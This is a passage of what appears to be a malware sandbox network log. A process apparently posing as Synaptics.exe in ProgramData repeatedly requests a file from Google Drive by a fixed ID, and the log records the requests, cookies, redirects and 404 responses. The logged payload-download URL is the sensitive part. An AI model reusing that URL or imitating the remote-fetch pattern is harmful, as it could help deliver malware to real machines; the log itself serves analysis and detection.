39	192.168.2.6	49861	142.250.185.65	443	5484	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:27 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.6	49874	142.250.185.78	443	5484	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:27 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=Ehq656cURaR2Q6Kk6m_ep4IrA5YOYJ83exUyTXOed8P1J20DPKj0B2-7j-1WwI1Z6gqr125Z2p2LY-gNVoaae_Xq6UjegIIraZKQ2d_70YSZ7rMLSf3s_kf8DW7iqMesdOc_xBZlfGi_8mKZgFsG7HdEaRaEoaL4QzqEpXEMQ0Iauw6EXNRDBMpS
2025-01-02 19:28:28 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:28:28 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-1UawtVwhiASHpKrtDnmY1g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.6	49875	142.250.185.78	443	5484	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:27 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=Ehq656cURaR2Q6Kk6m_ep4IrA5YOYJ83exUyTXOed8P1J20DPKj0B2-7j-1WwI1Z6gqr125Z2p2LY-gNVoaae_Xq6UjegIIraZKQ2d_70YSZ7rMLSf3s_kf8DW7iqMesdOc_xBZlfGi_8mKZgFsG7HdEaRaEoaL4QzqEpXEMQ0Iauw6EXNRDBMpS
2025-01-02 19:28:28 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:28:28 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce--5CLD8unk1zaqrAxAw9gZA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.6	49873	142.250.185.65	443	5484	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:28 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
2025-01-02 19:28:28 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC4VqOY5ouu0RxPKitnKWihPDCKYHjnZ-4fQ9YO78U06oxsO0Ug7N7i4Qi3ZALZYJSEc Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:28:28 GMT Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-scwGKGpOo5GCpmyvsylnMg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:28:28 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2025-01-02 19:28:28 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 59 4e 7a 64 72 56 33 66 74 6c 43 4a 43 43 6b 54 6c 59 43 6c 70 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="YNzdrV3ftlCJCCkTlYClpw">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2025-01-02 19:28:28 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.6	49885	142.250.185.65	443	5484	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:29 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
2025-01-02 19:28:29 UTC	1250	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC4MhqteuoLmy-0N-BtSKhqO--eAUX6PdXcsufOWxIy-diV2C8wF26mQK1I-rPntvgholAFAJPA Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:28:29 GMT Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-dBdlwZUL_QVhezY180oFmg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:28:29 UTC	140	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error
2025-01-02 19:28:29 UTC	1390	IN	Data Raw: 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 38 31 4c 5f 50 78 62 4e 62 70 62 35 64 2d 6a 56 36 6b 4d 65 6a 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b Data Ascii: 404 (Not Found)!!1</title><style nonce="81L_PxbNbpb5d-jV6kMejg">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;
2025-01-02 19:28:29 UTC	122	IN	Data Raw: 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.6	49884	142.250.185.78	443	5484	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:29 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=Ehq656cURaR2Q6Kk6m_ep4IrA5YOYJ83exUyTXOed8P1J20DPKj0B2-7j-1WwI1Z6gqr125Z2p2LY-gNVoaae_Xq6UjegIIraZKQ2d_70YSZ7rMLSf3s_kf8DW7iqMesdOc_xBZlfGi_8mKZgFsG7HdEaRaEoaL4QzqEpXEMQ0Iauw6EXNRDBMpS
2025-01-02 19:28:29 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:28:29 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-f4x_QgesxrZls6kPqAXVDA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.6	49886	142.250.185.78	443	5484	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:29 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=Ehq656cURaR2Q6Kk6m_ep4IrA5YOYJ83exUyTXOed8P1J20DPKj0B2-7j-1WwI1Z6gqr125Z2p2LY-gNVoaae_Xq6UjegIIraZKQ2d_70YSZ7rMLSf3s_kf8DW7iqMesdOc_xBZlfGi_8mKZgFsG7HdEaRaEoaL4QzqEpXEMQ0Iauw6EXNRDBMpS
2025-01-02 19:28:29 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:28:29 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-JHHTo6YedtdKoAK73A1OOw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.6	49887	142.250.185.65	443	5484	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:29 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
2025-01-02 19:28:29 UTC	1250	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC5X1yxQcEYaeJv7O-DwGe20GjePkCnbs53cxygsjkvzu0VWP3u8rfyERRp8KSFmyNSCF5lugLo Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:28:29 GMT Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-iv5Tt5cAI0nIVGhUJ7iINA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:28:29 UTC	140	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error
2025-01-02 19:28:29 UTC	1390	IN	Data Raw: 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 64 30 48 73 77 42 47 47 54 2d 5f 58 74 69 4a 54 7a 4c 63 55 74 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b Data Ascii: 404 (Not Found)!!1</title><style nonce="d0HswBGGT-_XtiJTzLcUtA">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;
2025-01-02 19:28:29 UTC	122	IN	Data Raw: 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.6	49896	142.250.185.78	443	5484	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:30 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=Ehq656cURaR2Q6Kk6m_ep4IrA5YOYJ83exUyTXOed8P1J20DPKj0B2-7j-1WwI1Z6gqr125Z2p2LY-gNVoaae_Xq6UjegIIraZKQ2d_70YSZ7rMLSf3s_kf8DW7iqMesdOc_xBZlfGi_8mKZgFsG7HdEaRaEoaL4QzqEpXEMQ0Iauw6EXNRDBMpS
2025-01-02 19:28:30 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:28:30 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-79vmoSBv_r0xm0cUSf4ghQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.6	49897	142.250.185.65	443	5484	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:30 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
